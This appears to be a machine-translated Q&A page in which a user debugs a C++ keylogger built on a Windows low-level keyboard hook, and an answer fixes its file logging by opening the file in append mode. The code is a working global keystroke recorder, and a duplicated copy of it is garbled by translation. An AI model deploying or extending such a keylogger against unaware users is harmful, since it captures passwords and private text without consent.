C++ 日志记录密钥的问题

C++ 日志记录密钥的问题,c++,C++,我正在尝试制作一个程序,使用低级键盘挂钩将击键记录到文本文件中。我遇到的问题是,虽然它记录字母,但文本文件只包含最后一个按下的字母 例如,如果输入单词“hello”,文本文件将只包含“o” 这是我的密码。再次感谢你的帮助 #include <windows.h> #include <stdio.h> #include <tchar.h> #include <iostream> #include <fstream> // func

我正在尝试制作一个程序,使用低级键盘挂钩将击键记录到文本文件中。我遇到的问题是,虽然它记录字母,但文本文件只包含最后一个按下的字母

例如,如果输入单词“hello”,文本文件将只包含“o”

这是我的密码。再次感谢你的帮助

    #include <windows.h>
#include <stdio.h>
#include <tchar.h>
#include <iostream>
#include <fstream>
// function declaration.

using namespace std;

LRESULT CALLBACK LowLevelKeyboardProc( int nCode, WPARAM wParam, LPARAM lParam );
int main()
{

HINSTANCE appInstance = GetModuleHandle(NULL);

    SetWindowsHookEx( WH_KEYBOARD_LL, LowLevelKeyboardProc, appInstance, 0 );
MSG msg;
while(GetMessage(&msg, NULL, 0, 0) > 0)
{
        TranslateMessage(&msg);
        DispatchMessage(&msg);
}

return 0;
}
LRESULT CALLBACK LowLevelKeyboardProc( int nCode, WPARAM wParam, LPARAM lParam )
{
ofstream myfile;
myfile.open("log.txt");
    KBDLLHOOKSTRUCT *pKeyBoard = (KBDLLHOOKSTRUCT *)lParam;
    switch( wParam )
    {
    case WM_KEYUP: 
        {
            switch( pKeyBoard->vkCode ) 
            {
            case VK_RETURN: 
                myfile<<"Enter  \n"; 
            break;

                   case 0x41:
                myfile<<"A  \n";
                break;

                    case 0x42:
                myfile<<"B  \n";
                break;  

                    case 0x43:
                myfile<<"C  \n";
                break;
                    case 0x44:
                myfile<<"D  \n";
                break;
                                case 0x45:
                myfile<<"E  \n";
                break;
                                case 0x46:
                myfile<<"F  \n";
                break;
                                case 0x47:
                myfile<<"G  \n";
                break;  
                                case 0x48:
                myfile<<"H  \n";
                break;
                                case 0x49:
                myfile<<"I  \n";
                break;
                                case 0x4A:
                myfile<<"J  \n";
                break;
                                case 0x4B:
                myfile<<"K  \n";
                break;

                                case 0x4C:
                myfile<<"L  \n";
                break;

                                case 0x4D:
                myfile<<"M  \n";
                break;

                                case 0x4E:
                myfile<<"N  \n";
                break;

                                case 0x4F:
                myfile<<"O  \n";
                break;

                               case 0x50:
                myfile<<"P  \n";
                break;
                               case 0x51:
                myfile<<"Q  \n";
                break;

                               case 0x52:
                myfile<<"R  \n";
                break;

                                case 0x53:
                myfile<<"S  \n";
                break;
                                case 0x54:
                myfile<<"T  \n";
                break;

                                case 0x55:
                myfile<<"U  \n";
                break;
                                case 0x56:
                myfile<<"V  \n";
                break;
                                case 0x57:
                myfile<<"W  \n";
                break;
                                case 0x58:
                myfile<<"X  \n";
                break;          case 0x59:
                myfile<<"Y  \n";
                break;
                                case 0x5A:
                myfile<<"Z  \n";
                break;


                case 0x30:
                myfile<<"0 \n";
                break;  

                case 0x31:
                myfile<<"1 \n"; 
                break;


                case 0x32:
                myfile<<"2 \n"; 
                break;


                case 0x33:
                myfile<<"3 \n"; 
                break;


                case 0x34:
                myfile<<"4 \n"; 
                break;


                case 0x35:
                myfile<<"5 \n"; 
                break;


                case 0x36:
                myfile<<"6 \n"; 
                break;  


                case 0x37:
                myfile<<"7 \n"; 
                break;  


                case 0x38:
                myfile<<"8 \n"; 
                break;

                case 0x39:
                    myfile<<"9 \n";

                    break;
            }
        }
    default:
        return CallNextHookEx( NULL, nCode, wParam, lParam );
    }
    myfile.close();
    return 0;
}
#包括
#包括
#包括
#包括
#包括
//函数声明。
使用名称空间std;
LRESULT回调LowLevelKeyboardProc(int-nCode、WPARAM-WPARAM、LPARAM-LPARAM);
int main()
{
HINSTANCE appInstance=GetModuleHandle(NULL);
SetWindowsHookEx(WH_KEYBOARD_LL,LowLevelKeyboardProc,appInstance,0);
味精;
while(GetMessage(&msg,NULL,0,0)>0)
{
翻译信息(&msg);
发送消息(&msg);
}
返回0;
}
LRESULT回调LowLevelKeyboardProc(int-nCode、WPARAM-WPARAM、LPARAM-LPARAM)
{
流文件;
myfile.open(“log.txt”);
KBDLLHOOKSTRUCT*pKeyBoard=(KBDLLHOOKSTRUCT*)LPRAM;
交换机(wParam)
{
案例WM_KEYUP:
{
开关(pKeyBoard->vkCode)
{
案例VK_返回:
默认情况下,myfile不会以追加模式打开文件;您需要使用
std::ios::app
标志来构建它

因此:

或者简单地说:

ofstream myfile("log.txt", std::ios::app);

您必须养成阅读所使用工具的文档的习惯。

您不需要所有这些代码来重现问题。这是一个文件处理问题。因此,所有的密钥处理代码都可以使用,所有Windows特定的cruft也可以使用。请学着生成a:在这里这样做时,您会在需要之前发现问题您可以在每次调用proc时打开该文件,但不能追加。
ofstream myfile("log.txt", std::ios::app);